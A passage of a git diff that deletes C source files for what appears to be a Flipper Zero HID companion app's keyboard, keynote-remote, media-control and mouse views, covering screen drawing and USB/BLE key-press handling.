&I_KB_key_Alt_17x10, .value = HID_KEYBOARD_L_ALT}, - {.width = 0, .icon = NULL, .value = HID_KEYBOARD_L_ALT}, - {.width = 2, .icon = &I_KB_key_Cmd_17x10, .value = HID_KEYBOARD_L_GUI}, - {.width = 0, .icon = NULL, .value = HID_KEYBOARD_L_GUI}, - {.width = 2, .icon = &I_KB_key_Tab_17x10, .value = HID_KEYBOARD_TAB}, - {.width = 0, .icon = NULL, .value = HID_KEYBOARD_TAB}, - {.width = 2, .icon = &I_KB_key_Esc_17x10, .value = HID_KEYBOARD_ESCAPE}, - {.width = 0, .icon = NULL, .value = HID_KEYBOARD_ESCAPE}, - {.width = 2, .icon = &I_KB_key_Del_17x10, .value = HID_KEYBOARD_DELETE_FORWARD}, - {.width = 0, .icon = NULL, .value = HID_KEYBOARD_DELETE_FORWARD}, - }, -}; - -static void hid_keyboard_to_upper(char* str) { - while(*str) { - *str = toupper((unsigned char)*str); - str++; - } -} - -static void hid_keyboard_draw_key( - Canvas* canvas, - HidKeyboardModel* model, - uint8_t x, - uint8_t y, - HidKeyboardKey key, - bool selected) { - if(!key.width) return; - - canvas_set_color(canvas, ColorBlack); - uint8_t keyWidth = KEY_WIDTH * key.width + KEY_PADDING * (key.width - 1); - if(selected) { - // Draw a filled box - elements_slightly_rounded_box( - canvas, - MARGIN_LEFT + x * (KEY_WIDTH + KEY_PADDING), - MARGIN_TOP + y * (KEY_HEIGHT + KEY_PADDING), - keyWidth, - KEY_HEIGHT); - canvas_set_color(canvas, ColorWhite); - } else { - // Draw a framed box - elements_slightly_rounded_frame( - canvas, - MARGIN_LEFT + x * (KEY_WIDTH + KEY_PADDING), - MARGIN_TOP + y * (KEY_HEIGHT + KEY_PADDING), - keyWidth, - KEY_HEIGHT); - } - if(key.icon != NULL) { - // Draw the icon centered on the button - canvas_draw_icon( - canvas, - MARGIN_LEFT + x * (KEY_WIDTH + KEY_PADDING) + keyWidth / 2 - key.icon->width / 2, - MARGIN_TOP + y * (KEY_HEIGHT + KEY_PADDING) + KEY_HEIGHT / 2 - key.icon->height / 2, - key.icon); - } else { - // If shift is toggled use the shift key when available - strcpy(model->key_string, (model->shift && key.shift_key != 0) ? key.shift_key : key.key); - // Upper case if ctrl or alt was toggled true - if((model->ctrl && key.value == HID_KEYBOARD_L_CTRL) || - (model->alt && key.value == HID_KEYBOARD_L_ALT) || - (model->gui && key.value == HID_KEYBOARD_L_GUI)) { - hid_keyboard_to_upper(model->key_string); - } - canvas_draw_str_aligned( - canvas, - MARGIN_LEFT + x * (KEY_WIDTH + KEY_PADDING) + keyWidth / 2 + 1, - MARGIN_TOP + y * (KEY_HEIGHT + KEY_PADDING) + KEY_HEIGHT / 2, - AlignCenter, - AlignCenter, - model->key_string); - } -} - -static void hid_keyboard_draw_callback(Canvas* canvas, void* context) { - furi_assert(context); - HidKeyboardModel* model = context; - - // Header - if((!model->connected) && (model->transport == HidTransportBle)) { - canvas_draw_icon(canvas, 0, 0, &I_Ble_disconnected_15x15); - canvas_set_font(canvas, FontPrimary); - elements_multiline_text_aligned(canvas, 17, 3, AlignLeft, AlignTop, "Keyboard"); - - canvas_draw_icon(canvas, 68, 3, &I_Pin_back_arrow_10x8); - canvas_set_font(canvas, FontSecondary); - elements_multiline_text_aligned(canvas, 127, 4, AlignRight, AlignTop, "Hold to exit"); - - elements_multiline_text_aligned( - canvas, 4, 60, AlignLeft, AlignBottom, "Waiting for Connection..."); - return; // Dont render the keyboard if we are not yet connected - } - - canvas_set_font(canvas, FontKeyboard); - // Start shifting the all keys up if on the next row (Scrolling) - uint8_t initY = model->y == 0 ? 0 : 1; - - if(model->y > 5) { - initY = model->y - 4; - } - - for(uint8_t y = initY; y < ROW_COUNT; y++) { - const HidKeyboardKey* keyboardKeyRow = hid_keyboard_keyset[y]; - uint8_t x = 0; - for(uint8_t i = 0; i < COLUMN_COUNT; i++) { - HidKeyboardKey key = keyboardKeyRow[i]; - // Select when the button is hovered - // Select if the button is hovered within its width - // Select if back is clicked and its the backspace key - // Deselect when the button clicked or not hovered - bool keySelected = (x <= model->x && model->x < (x + key.width)) && y == model->y; - bool backSelected = model->back_pressed && key.value == HID_KEYBOARD_DELETE; - hid_keyboard_draw_key( - canvas, - model, - x, - y - initY, - key, - (!model->ok_pressed && keySelected) || backSelected); - x += key.width; - } - } -} - -static uint8_t hid_keyboard_get_selected_key(HidKeyboardModel* model) { - HidKeyboardKey key = hid_keyboard_keyset[model->y][model->x]; - return key.value; -} - -static void hid_keyboard_get_select_key(HidKeyboardModel* model, HidKeyboardPoint delta) { - // Keep going until a valid spot is found, this allows for nulls and zero width keys in the map - do { - const int delta_sum = model->y + delta.y; - model->y = delta_sum < 0 ? ROW_COUNT - 1 : delta_sum % ROW_COUNT; - } while(delta.y != 0 && hid_keyboard_keyset[model->y][model->x].value == 0); - - do { - const int delta_sum = model->x + delta.x; - model->x = delta_sum < 0 ? COLUMN_COUNT - 1 : delta_sum % COLUMN_COUNT; - } while(delta.x != 0 && hid_keyboard_keyset[model->y][model->x].width == - 0); // Skip zero width keys, pretend they are one key -} - -static void hid_keyboard_process(HidKeyboard* hid_keyboard, InputEvent* event) { - with_view_model( - hid_keyboard->view, - HidKeyboardModel * model, - { - if(event->key == InputKeyOk) { - if(event->type == InputTypePress) { - model->ok_pressed = true; - } else if(event->type == InputTypeLong || event->type == InputTypeShort) { - model->last_key_code = hid_keyboard_get_selected_key(model); - - // Toggle the modifier key when clicked, and click the key - if(model->last_key_code == HID_KEYBOARD_L_SHIFT) { - model->shift = !model->shift; - if(model->shift) - model->modifier_code |= KEY_MOD_LEFT_SHIFT; - else - model->modifier_code &= ~KEY_MOD_LEFT_SHIFT; - } else if(model->last_key_code == HID_KEYBOARD_L_ALT) { - model->alt = !model->alt; - if(model->alt) - model->modifier_code |= KEY_MOD_LEFT_ALT; - else - model->modifier_code &= ~KEY_MOD_LEFT_ALT; - } else if(model->last_key_code == HID_KEYBOARD_L_CTRL) { - model->ctrl = !model->ctrl; - if(model->ctrl) - model->modifier_code |= KEY_MOD_LEFT_CTRL; - else - model->modifier_code &= ~KEY_MOD_LEFT_CTRL; - } else if(model->last_key_code == HID_KEYBOARD_L_GUI) { - model->gui = !model->gui; - if(model->gui) - model->modifier_code |= KEY_MOD_LEFT_GUI; - else - model->modifier_code &= ~KEY_MOD_LEFT_GUI; - } - hid_hal_keyboard_press( - hid_keyboard->hid, model->modifier_code | model->last_key_code); - } else if(event->type == InputTypeRelease) { - // Release happens after short and long presses - hid_hal_keyboard_release( - hid_keyboard->hid, model->modifier_code | model->last_key_code); - model->ok_pressed = false; - } - } else if(event->key == InputKeyBack) { - // If back is pressed for a short time, backspace - if(event->type == InputTypePress) { - model->back_pressed = true; - } else if(event->type == InputTypeShort) { - hid_hal_keyboard_press(hid_keyboard->hid, HID_KEYBOARD_DELETE); - hid_hal_keyboard_release(hid_keyboard->hid, HID_KEYBOARD_DELETE); - } else if(event->type == InputTypeRelease) { - model->back_pressed = false; - } - } else if(event->type == InputTypePress || event->type == InputTypeRepeat) { - // Cycle the selected keys - if(event->key == InputKeyUp) { - hid_keyboard_get_select_key(model, (HidKeyboardPoint){.x = 0, .y = -1}); - } else if(event->key == InputKeyDown) { - hid_keyboard_get_select_key(model, (HidKeyboardPoint){.x = 0, .y = 1}); - } else if(event->key == InputKeyLeft) { - hid_keyboard_get_select_key(model, (HidKeyboardPoint){.x = -1, .y = 0}); - } else if(event->key == InputKeyRight) { - hid_keyboard_get_select_key(model, (HidKeyboardPoint){.x = 1, .y = 0}); - } - } - }, - true); -} - -static bool hid_keyboard_input_callback(InputEvent* event, void* context) { - furi_assert(context); - HidKeyboard* hid_keyboard = context; - bool consumed = false; - - if(event->type == InputTypeLong && event->key == InputKeyBack) { - hid_hal_keyboard_release_all(hid_keyboard->hid); - } else { - hid_keyboard_process(hid_keyboard, event); - consumed = true; - } - - return consumed; -} - -HidKeyboard* hid_keyboard_alloc(Hid* bt_hid) { - HidKeyboard* hid_keyboard = malloc(sizeof(HidKeyboard)); - hid_keyboard->view = view_alloc(); - hid_keyboard->hid = bt_hid; - view_set_context(hid_keyboard->view, hid_keyboard); - view_allocate_model(hid_keyboard->view, ViewModelTypeLocking, sizeof(HidKeyboardModel)); - view_set_draw_callback(hid_keyboard->view, hid_keyboard_draw_callback); - view_set_input_callback(hid_keyboard->view, hid_keyboard_input_callback); - - with_view_model( - hid_keyboard->view, - HidKeyboardModel * model, - { - model->transport = bt_hid->transport; - model->y = 1; - }, - true); - - return hid_keyboard; -} - -void hid_keyboard_free(HidKeyboard* hid_keyboard) { - furi_assert(hid_keyboard); - view_free(hid_keyboard->view); - free(hid_keyboard); -} - -View* hid_keyboard_get_view(HidKeyboard* hid_keyboard) { - furi_assert(hid_keyboard); - return hid_keyboard->view; -} - -void hid_keyboard_set_connected_status(HidKeyboard* hid_keyboard, bool connected) { - furi_assert(hid_keyboard); - with_view_model( - hid_keyboard->view, HidKeyboardModel * model, { model->connected = connected; }, true); -} diff --git a/applications/external/hid_app/views/hid_keyboard.h b/applications/external/hid_app/views/hid_keyboard.h deleted file mode 100644 index 712771364..000000000 --- a/applications/external/hid_app/views/hid_keyboard.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once - -#include - -typedef struct Hid Hid; -typedef struct HidKeyboard HidKeyboard; - -HidKeyboard* hid_keyboard_alloc(Hid* bt_hid); - -void hid_keyboard_free(HidKeyboard* hid_keyboard); - -View* hid_keyboard_get_view(HidKeyboard* hid_keyboard); - -void hid_keyboard_set_connected_status(HidKeyboard* hid_keyboard, bool connected); diff --git a/applications/external/hid_app/views/hid_keynote.c b/applications/external/hid_app/views/hid_keynote.c deleted file mode 100644 index 7d0e125d7..000000000 --- a/applications/external/hid_app/views/hid_keynote.c +++ /dev/null @@ -1,312 +0,0 @@ -#include "hid_keynote.h" -#include -#include "../hid.h" - -#include "hid_icons.h" - -#define TAG "HidKeynote" - -struct HidKeynote { - View* view; - Hid* hid; -}; - -typedef struct { - bool left_pressed; - bool up_pressed; - bool right_pressed; - bool down_pressed; - bool ok_pressed; - bool back_pressed; - bool connected; - HidTransport transport; -} HidKeynoteModel; - -static void hid_keynote_draw_arrow(Canvas* canvas, uint8_t x, uint8_t y, CanvasDirection dir) { - canvas_draw_triangle(canvas, x, y, 5, 3, dir); - if(dir == CanvasDirectionBottomToTop) { - canvas_draw_line(canvas, x, y + 6, x, y - 1); - } else if(dir == CanvasDirectionTopToBottom) { - canvas_draw_line(canvas, x, y - 6, x, y + 1); - } else if(dir == CanvasDirectionRightToLeft) { - canvas_draw_line(canvas, x + 6, y, x - 1, y); - } else if(dir == CanvasDirectionLeftToRight) { - canvas_draw_line(canvas, x - 6, y, x + 1, y); - } -} - -static void hid_keynote_draw_callback(Canvas* canvas, void* context) { - furi_assert(context); - HidKeynoteModel* model = context; - - // Header - if(model->transport == HidTransportBle) { - if(model->connected) { - canvas_draw_icon(canvas, 0, 0, &I_Ble_connected_15x15); - } else { - canvas_draw_icon(canvas, 0, 0, &I_Ble_disconnected_15x15); - } - } - - canvas_set_font(canvas, FontPrimary); - elements_multiline_text_aligned(canvas, 17, 3, AlignLeft, AlignTop, "Keynote"); - - canvas_draw_icon(canvas, 68, 2, &I_Pin_back_arrow_10x8); - canvas_set_font(canvas, FontSecondary); - elements_multiline_text_aligned(canvas, 127, 3, AlignRight, AlignTop, "Hold to exit"); - - // Up - canvas_draw_icon(canvas, 21, 24, &I_Button_18x18); - if(model->up_pressed) { - elements_slightly_rounded_box(canvas, 24, 26, 13, 13); - canvas_set_color(canvas, ColorWhite); - } - hid_keynote_draw_arrow(canvas, 30, 30, CanvasDirectionBottomToTop); - canvas_set_color(canvas, ColorBlack); - - // Down - canvas_draw_icon(canvas, 21, 45, &I_Button_18x18); - if(model->down_pressed) { - elements_slightly_rounded_box(canvas, 24, 47, 13, 13); - canvas_set_color(canvas, ColorWhite); - } - hid_keynote_draw_arrow(canvas, 30, 55, CanvasDirectionTopToBottom); - canvas_set_color(canvas, ColorBlack); - - // Left - canvas_draw_icon(canvas, 0, 45, &I_Button_18x18); - if(model->left_pressed) { - elements_slightly_rounded_box(canvas, 3, 47, 13, 13); - canvas_set_color(canvas, ColorWhite); - } - hid_keynote_draw_arrow(canvas, 7, 53, CanvasDirectionRightToLeft); - canvas_set_color(canvas, ColorBlack); - - // Right - canvas_draw_icon(canvas, 42, 45, &I_Button_18x18); - if(model->right_pressed) { - elements_slightly_rounded_box(canvas, 45, 47, 13, 13); - canvas_set_color(canvas, ColorWhite); - } - hid_keynote_draw_arrow(canvas, 53, 53, CanvasDirectionLeftToRight); - canvas_set_color(canvas, ColorBlack); - - // Ok - canvas_draw_icon(canvas, 63, 25, &I_Space_65x18); - if(model->ok_pressed) { - elements_slightly_rounded_box(canvas, 66, 27, 60, 13); - canvas_set_color(canvas, ColorWhite); - } - canvas_draw_icon(canvas, 74, 29, &I_Ok_btn_9x9); - elements_multiline_text_aligned(canvas, 91, 36, AlignLeft, AlignBottom, "Space"); - canvas_set_color(canvas, ColorBlack); - - // Back - canvas_draw_icon(canvas, 63, 45, &I_Space_65x18); - if(model->back_pressed) { - elements_slightly_rounded_box(canvas, 66, 47, 60, 13); - canvas_set_color(canvas, ColorWhite); - } - canvas_draw_icon(canvas, 74, 49, &I_Pin_back_arrow_10x8); - elements_multiline_text_aligned(canvas, 91, 57, AlignLeft, AlignBottom, "Back"); -} - -static void hid_keynote_draw_vertical_callback(Canvas* canvas, void* context) { - furi_assert(context); - HidKeynoteModel* model = context; - - // Header - canvas_set_font(canvas, FontPrimary); - if(model->transport == HidTransportBle) { - if(model->connected) { - canvas_draw_icon(canvas, 0, 0, &I_Ble_connected_15x15); - } else { - canvas_draw_icon(canvas, 0, 0, &I_Ble_disconnected_15x15); - } - - elements_multiline_text_aligned(canvas, 20, 3, AlignLeft, AlignTop, "Keynote"); - } else { - elements_multiline_text_aligned(canvas, 12, 3, AlignLeft, AlignTop, "Keynote"); - } - - canvas_draw_icon(canvas, 2, 18, &I_Pin_back_arrow_10x8); - canvas_set_font(canvas, FontSecondary); - elements_multiline_text_aligned(canvas, 15, 19, AlignLeft, AlignTop, "Hold to exit"); - - const uint8_t x_2 = 23; - const uint8_t x_1 = 2; - const uint8_t x_3 = 44; - - const uint8_t y_1 = 44; - const uint8_t y_2 = 65; - - // Up - canvas_draw_icon(canvas, x_2, y_1, &I_Button_18x18); - if(model->up_pressed) { - elements_slightly_rounded_box(canvas, x_2 + 3, y_1 + 2, 13, 13); - canvas_set_color(canvas, ColorWhite); - } - hid_keynote_draw_arrow(canvas, x_2 + 9, y_1 + 6, CanvasDirectionBottomToTop); - canvas_set_color(canvas, ColorBlack); - - // Down - canvas_draw_icon(canvas, x_2, y_2, &I_Button_18x18); - if(model->down_pressed) { - elements_slightly_rounded_box(canvas, x_2 + 3, y_2 + 2, 13, 13); - canvas_set_color(canvas, ColorWhite); - } - hid_keynote_draw_arrow(canvas, x_2 + 9, y_2 + 10, CanvasDirectionTopToBottom); - canvas_set_color(canvas, ColorBlack); - - // Left - canvas_draw_icon(canvas, x_1, y_2, &I_Button_18x18); - if(model->left_pressed) { - elements_slightly_rounded_box(canvas, x_1 + 3, y_2 + 2, 13, 13); - canvas_set_color(canvas, ColorWhite); - } - hid_keynote_draw_arrow(canvas, x_1 + 7, y_2 + 8, CanvasDirectionRightToLeft); - canvas_set_color(canvas, ColorBlack); - - // Right - canvas_draw_icon(canvas, x_3, y_2, &I_Button_18x18); - if(model->right_pressed) { - elements_slightly_rounded_box(canvas, x_3 + 3, y_2 + 2, 13, 13); - canvas_set_color(canvas, ColorWhite); - } - hid_keynote_draw_arrow(canvas, x_3 + 11, y_2 + 8, CanvasDirectionLeftToRight); - canvas_set_color(canvas, ColorBlack); - - // Ok - canvas_draw_icon(canvas, 2, 86, &I_Space_60x18); - if(model->ok_pressed) { - elements_slightly_rounded_box(canvas, 5, 88, 55, 13); - canvas_set_color(canvas, ColorWhite); - } - canvas_draw_icon(canvas, 11, 90, &I_Ok_btn_9x9); - elements_multiline_text_aligned(canvas, 26, 98, AlignLeft, AlignBottom, "Space"); - canvas_set_color(canvas, ColorBlack); - - // Back - canvas_draw_icon(canvas, 2, 107, &I_Space_60x18); - if(model->back_pressed) { - elements_slightly_rounded_box(canvas, 5, 109, 55, 13); - canvas_set_color(canvas, ColorWhite); - } - canvas_draw_icon(canvas, 11, 111, &I_Pin_back_arrow_10x8); - elements_multiline_text_aligned(canvas, 26, 119, AlignLeft, AlignBottom, "Back"); -} - -static void hid_keynote_process(HidKeynote* hid_keynote, InputEvent* event) { - with_view_model( - hid_keynote->view, - HidKeynoteModel * model, - { - if(event->type == InputTypePress) { - if(event->key == InputKeyUp) { - model->up_pressed = true; - hid_hal_keyboard_press(hid_keynote->hid, HID_KEYBOARD_UP_ARROW); - } else if(event->key == InputKeyDown) { - model->down_pressed = true; - hid_hal_keyboard_press(hid_keynote->hid, HID_KEYBOARD_DOWN_ARROW); - } else if(event->key == InputKeyLeft) { - model->left_pressed = true; - hid_hal_keyboard_press(hid_keynote->hid, HID_KEYBOARD_LEFT_ARROW); - } else if(event->key == InputKeyRight) { - model->right_pressed = true; - hid_hal_keyboard_press(hid_keynote->hid, HID_KEYBOARD_RIGHT_ARROW); - } else if(event->key == InputKeyOk) { - model->ok_pressed = true; - hid_hal_keyboard_press(hid_keynote->hid, HID_KEYBOARD_SPACEBAR); - } else if(event->key == InputKeyBack) { - model->back_pressed = true; - } - } else if(event->type == InputTypeRelease) { - if(event->key == InputKeyUp) { - model->up_pressed = false; - hid_hal_keyboard_release(hid_keynote->hid, HID_KEYBOARD_UP_ARROW); - } else if(event->key == InputKeyDown) { - model->down_pressed = false; - hid_hal_keyboard_release(hid_keynote->hid, HID_KEYBOARD_DOWN_ARROW); - } else if(event->key == InputKeyLeft) { - model->left_pressed = false; - hid_hal_keyboard_release(hid_keynote->hid, HID_KEYBOARD_LEFT_ARROW); - } else if(event->key == InputKeyRight) { - model->right_pressed = false; - hid_hal_keyboard_release(hid_keynote->hid, HID_KEYBOARD_RIGHT_ARROW); - } else if(event->key == InputKeyOk) { - model->ok_pressed = false; - hid_hal_keyboard_release(hid_keynote->hid, HID_KEYBOARD_SPACEBAR); - } else if(event->key == InputKeyBack) { - model->back_pressed = false; - } - } else if(event->type == InputTypeShort) { - if(event->key == InputKeyBack) { - hid_hal_keyboard_press(hid_keynote->hid, HID_KEYBOARD_DELETE); - hid_hal_keyboard_release(hid_keynote->hid, HID_KEYBOARD_DELETE); - hid_hal_consumer_key_press(hid_keynote->hid, HID_CONSUMER_AC_BACK); - hid_hal_consumer_key_release(hid_keynote->hid, HID_CONSUMER_AC_BACK); - } - } - }, - true); -} - -static bool hid_keynote_input_callback(InputEvent* event, void* context) { - furi_assert(context); - HidKeynote* hid_keynote = context; - bool consumed = false; - - if(event->type == InputTypeLong && event->key == InputKeyBack) { - hid_hal_keyboard_release_all(hid_keynote->hid); - } else { - hid_keynote_process(hid_keynote, event); - consumed = true; - } - - return consumed; -} - -HidKeynote* hid_keynote_alloc(Hid* hid) { - HidKeynote* hid_keynote = malloc(sizeof(HidKeynote)); - hid_keynote->view = view_alloc(); - hid_keynote->hid = hid; - view_set_context(hid_keynote->view, hid_keynote); - view_allocate_model(hid_keynote->view, ViewModelTypeLocking, sizeof(HidKeynoteModel)); - view_set_draw_callback(hid_keynote->view, hid_keynote_draw_callback); - view_set_input_callback(hid_keynote->view, hid_keynote_input_callback); - - with_view_model( - hid_keynote->view, HidKeynoteModel * model, { model->transport = hid->transport; }, true); - - return hid_keynote; -} - -void hid_keynote_free(HidKeynote* hid_keynote) { - furi_assert(hid_keynote); - view_free(hid_keynote->view); - free(hid_keynote); -} - -View* hid_keynote_get_view(HidKeynote* hid_keynote) { - furi_assert(hid_keynote); - return hid_keynote->view; -} - -void hid_keynote_set_connected_status(HidKeynote* hid_keynote, bool connected) { - furi_assert(hid_keynote); - with_view_model( - hid_keynote->view, HidKeynoteModel * model, { model->connected = connected; }, true); -} - -void hid_keynote_set_orientation(HidKeynote* hid_keynote, bool vertical) { - furi_assert(hid_keynote); - - if(vertical) { - view_set_draw_callback(hid_keynote->view, hid_keynote_draw_vertical_callback); - view_set_orientation(hid_keynote->view, ViewOrientationVerticalFlip); - - } else { - view_set_draw_callback(hid_keynote->view, hid_keynote_draw_callback); - view_set_orientation(hid_keynote->view, ViewOrientationHorizontal); - } -} diff --git a/applications/external/hid_app/views/hid_keynote.h b/applications/external/hid_app/views/hid_keynote.h deleted file mode 100644 index 84bfed4ce..000000000 --- a/applications/external/hid_app/views/hid_keynote.h +++ /dev/null @@ -1,16 +0,0 @@ -#pragma once - -#include - -typedef struct Hid Hid; -typedef struct HidKeynote HidKeynote; - -HidKeynote* hid_keynote_alloc(Hid* bt_hid); - -void hid_keynote_free(HidKeynote* hid_keynote); - -View* hid_keynote_get_view(HidKeynote* hid_keynote); - -void hid_keynote_set_connected_status(HidKeynote* hid_keynote, bool connected); - -void hid_keynote_set_orientation(HidKeynote* hid_keynote, bool vertical); diff --git a/applications/external/hid_app/views/hid_media.c b/applications/external/hid_app/views/hid_media.c deleted file mode 100644 index 8df9716c5..000000000 --- a/applications/external/hid_app/views/hid_media.c +++ /dev/null @@ -1,229 +0,0 @@ -#include "hid_media.h" -#include -#include -#include -#include -#include "../hid.h" - -#include "hid_icons.h" - -#define TAG "HidMedia" - -struct HidMedia { - View* view; - Hid* hid; -}; - -typedef struct { - bool left_pressed; - bool up_pressed; - bool right_pressed; - bool down_pressed; - bool ok_pressed; - bool connected; - bool back_pressed; - HidTransport transport; -} HidMediaModel; - -static void hid_media_draw_arrow(Canvas* canvas, uint8_t x, uint8_t y, CanvasDirection dir) { - canvas_draw_triangle(canvas, x, y, 5, 3, dir); - if(dir == CanvasDirectionBottomToTop) { - canvas_draw_dot(canvas, x, y - 1); - } else if(dir == CanvasDirectionTopToBottom) { - canvas_draw_dot(canvas, x, y + 1); - } else if(dir == CanvasDirectionRightToLeft) { - canvas_draw_dot(canvas, x - 1, y); - } else if(dir == CanvasDirectionLeftToRight) { - canvas_draw_dot(canvas, x + 1, y); - } -} - -static void hid_media_draw_callback(Canvas* canvas, void* context) { - furi_assert(context); - HidMediaModel* model = context; - - // Header - if(model->transport == HidTransportBle) { - if(model->connected) { - canvas_draw_icon(canvas, 0, 0, &I_Ble_connected_15x15); - } else { - canvas_draw_icon(canvas, 0, 0, &I_Ble_disconnected_15x15); - } - } - - canvas_set_font(canvas, FontPrimary); - elements_multiline_text_aligned(canvas, 17, 3, AlignLeft, AlignTop, "Media"); - canvas_set_font(canvas, FontSecondary); - - // Keypad circles - canvas_draw_icon(canvas, 58, 3, &I_OutCircles_70x51); - - // Up - if(model->up_pressed) { - canvas_set_bitmap_mode(canvas, 1); - canvas_draw_icon(canvas, 68, 6, &I_S_UP_31x15); - canvas_set_bitmap_mode(canvas, 0); - canvas_set_color(canvas, ColorWhite); - } - canvas_draw_icon(canvas, 79, 9, &I_Volup_8x6); - canvas_set_color(canvas, ColorBlack); - - // Down - if(model->down_pressed) { - canvas_set_bitmap_mode(canvas, 1); - canvas_draw_icon(canvas, 68, 36, &I_S_DOWN_31x15); - canvas_set_bitmap_mode(canvas, 0); - canvas_set_color(canvas, ColorWhite); - } - canvas_draw_icon(canvas, 80, 41, &I_Voldwn_6x6); - canvas_set_color(canvas, ColorBlack); - - // Left - if(model->left_pressed) { - canvas_set_bitmap_mode(canvas, 1); - canvas_draw_icon(canvas, 61, 13, &I_S_LEFT_15x31); - canvas_set_bitmap_mode(canvas, 0); - canvas_set_color(canvas, ColorWhite); - } - hid_media_draw_arrow(canvas, 65, 28, CanvasDirectionRightToLeft); - hid_media_draw_arrow(canvas, 70, 28, CanvasDirectionRightToLeft); - canvas_set_color(canvas, ColorBlack); - - // Right - if(model->right_pressed) { - canvas_set_bitmap_mode(canvas, 1); - canvas_draw_icon(canvas, 91, 13, &I_S_RIGHT_15x31); - canvas_set_bitmap_mode(canvas, 0); - canvas_set_color(canvas, ColorWhite); - } - hid_media_draw_arrow(canvas, 96, 28, CanvasDirectionLeftToRight); - hid_media_draw_arrow(canvas, 101, 28, CanvasDirectionLeftToRight); - canvas_set_color(canvas, ColorBlack); - - // Ok - if(model->ok_pressed) { - canvas_set_bitmap_mode(canvas, 1); - canvas_draw_icon(canvas, 74, 19, &I_Pressed_Button_19x19); - canvas_set_bitmap_mode(canvas, 0); - canvas_set_color(canvas, ColorWhite); - } - hid_media_draw_arrow(canvas, 80, 28, CanvasDirectionLeftToRight); - canvas_draw_line(canvas, 84, 26, 84, 30); - canvas_draw_line(canvas, 86, 26, 86, 30); - canvas_set_color(canvas, ColorBlack); - - // Exit - if(model->back_pressed) { - canvas_set_bitmap_mode(canvas, 1); - canvas_draw_icon(canvas, 107, 33, &I_Pressed_Button_19x19); - canvas_set_bitmap_mode(canvas, 0); - canvas_set_color(canvas, ColorWhite); - } - canvas_draw_icon(canvas, 111, 38, &I_Pin_back_arrow_10x10); - canvas_set_color(canvas, ColorBlack); - - canvas_draw_icon(canvas, 0, 54, &I_Pin_back_arrow_10x8); - canvas_set_font(canvas, FontSecondary); - elements_multiline_text_aligned(canvas, 13, 62, AlignLeft, AlignBottom, "Hold to exit"); -} - -static void hid_media_process_press(HidMedia* hid_media, InputEvent* event) { - with_view_model( - hid_media->view, - HidMediaModel * model, - { - if(event->key == InputKeyUp) { - model->up_pressed = true; - hid_hal_consumer_key_press(hid_media->hid, HID_CONSUMER_VOLUME_INCREMENT); - } else if(event->key == InputKeyDown) { - model->down_pressed = true; - hid_hal_consumer_key_press(hid_media->hid, HID_CONSUMER_VOLUME_DECREMENT); - } else if(event->key == InputKeyLeft) { - model->left_pressed = true; - hid_hal_consumer_key_press(hid_media->hid, HID_CONSUMER_SCAN_PREVIOUS_TRACK); - } else if(event->key == InputKeyRight) { - model->right_pressed = true; - hid_hal_consumer_key_press(hid_media->hid, HID_CONSUMER_SCAN_NEXT_TRACK); - } else if(event->key == InputKeyOk) { - model->ok_pressed = true; - hid_hal_consumer_key_press(hid_media->hid, HID_CONSUMER_PLAY_PAUSE); - } else if(event->key == InputKeyBack) { - model->back_pressed = true; - } - }, - true); -} - -static void hid_media_process_release(HidMedia* hid_media, InputEvent* event) { - with_view_model( - hid_media->view, - HidMediaModel * model, - { - if(event->key == InputKeyUp) { - model->up_pressed = false; - hid_hal_consumer_key_release(hid_media->hid, HID_CONSUMER_VOLUME_INCREMENT); - } else if(event->key == InputKeyDown) { - model->down_pressed = false; - hid_hal_consumer_key_release(hid_media->hid, HID_CONSUMER_VOLUME_DECREMENT); - } else if(event->key == InputKeyLeft) { - model->left_pressed = false; - hid_hal_consumer_key_release(hid_media->hid, HID_CONSUMER_SCAN_PREVIOUS_TRACK); - } else if(event->key == InputKeyRight) { - model->right_pressed = false; - hid_hal_consumer_key_release(hid_media->hid, HID_CONSUMER_SCAN_NEXT_TRACK); - } else if(event->key == InputKeyOk) { - model->ok_pressed = false; - hid_hal_consumer_key_release(hid_media->hid, HID_CONSUMER_PLAY_PAUSE); - } else if(event->key == InputKeyBack) { - model->back_pressed = false; - } - }, - true); -} - -static bool hid_media_input_callback(InputEvent* event, void* context) { - furi_assert(context); - HidMedia* hid_media = context; - bool consumed = false; - - if(event->type == InputTypePress) { - hid_media_process_press(hid_media, event); - consumed = true; - } else if(event->type == InputTypeRelease) { - hid_media_process_release(hid_media, event); - consumed = true; - } - return consumed; -} - -HidMedia* hid_media_alloc(Hid* hid) { - HidMedia* hid_media = malloc(sizeof(HidMedia)); - hid_media->view = view_alloc(); - hid_media->hid = hid; - view_set_context(hid_media->view, hid_media); - view_allocate_model(hid_media->view, ViewModelTypeLocking, sizeof(HidMediaModel)); - view_set_draw_callback(hid_media->view, hid_media_draw_callback); - view_set_input_callback(hid_media->view, hid_media_input_callback); - - with_view_model( - hid_media->view, HidMediaModel * model, { model->transport = hid->transport; }, true); - - return hid_media; -} - -void hid_media_free(HidMedia* hid_media) { - furi_assert(hid_media); - view_free(hid_media->view); - free(hid_media); -} - -View* hid_media_get_view(HidMedia* hid_media) { - furi_assert(hid_media); - return hid_media->view; -} - -void hid_media_set_connected_status(HidMedia* hid_media, bool connected) { - furi_assert(hid_media); - with_view_model( - hid_media->view, HidMediaModel * model, { model->connected = connected; }, true); -} diff --git a/applications/external/hid_app/views/hid_media.h b/applications/external/hid_app/views/hid_media.h deleted file mode 100644 index 4aa51dc17..000000000 --- a/applications/external/hid_app/views/hid_media.h +++ /dev/null @@ -1,13 +0,0 @@ -#pragma once - -#include - -typedef struct HidMedia HidMedia; - -HidMedia* hid_media_alloc(); - -void hid_media_free(HidMedia* hid_media); - -View* hid_media_get_view(HidMedia* hid_media); - -void hid_media_set_connected_status(HidMedia* hid_media, bool connected); diff --git a/applications/external/hid_app/views/hid_mouse.c b/applications/external/hid_app/views/hid_mouse.c deleted file mode 100644 index f7de93d63..000000000 --- a/applications/external/hid_app/views/hid_mouse.c +++ /dev/null @@ -1,232 +0,0 @@ -#include "hid_mouse.h" -#include -#include "../hid.h" - -#include "hid_icons.h" - -#define TAG "HidMouse" - -struct HidMouse { - View* view; - Hid* hid; -}; - -typedef struct { - bool left_pressed; - bool up_pressed; - bool right_pressed; - bool down_pressed; - bool left_mouse_pressed; - bool left_mouse_held; - bool right_mouse_pressed; - bool connected; - HidTransport transport; -} HidMouseModel; - -static void hid_mouse_draw_callback(Canvas* canvas, void* context) { - furi_assert(context); - HidMouseModel* model = context; - - // Header - if(model->transport == HidTransportBle) { - if(model->connected) { - canvas_draw_icon(canvas, 0, 0, &I_Ble_connected_15x15); - } else 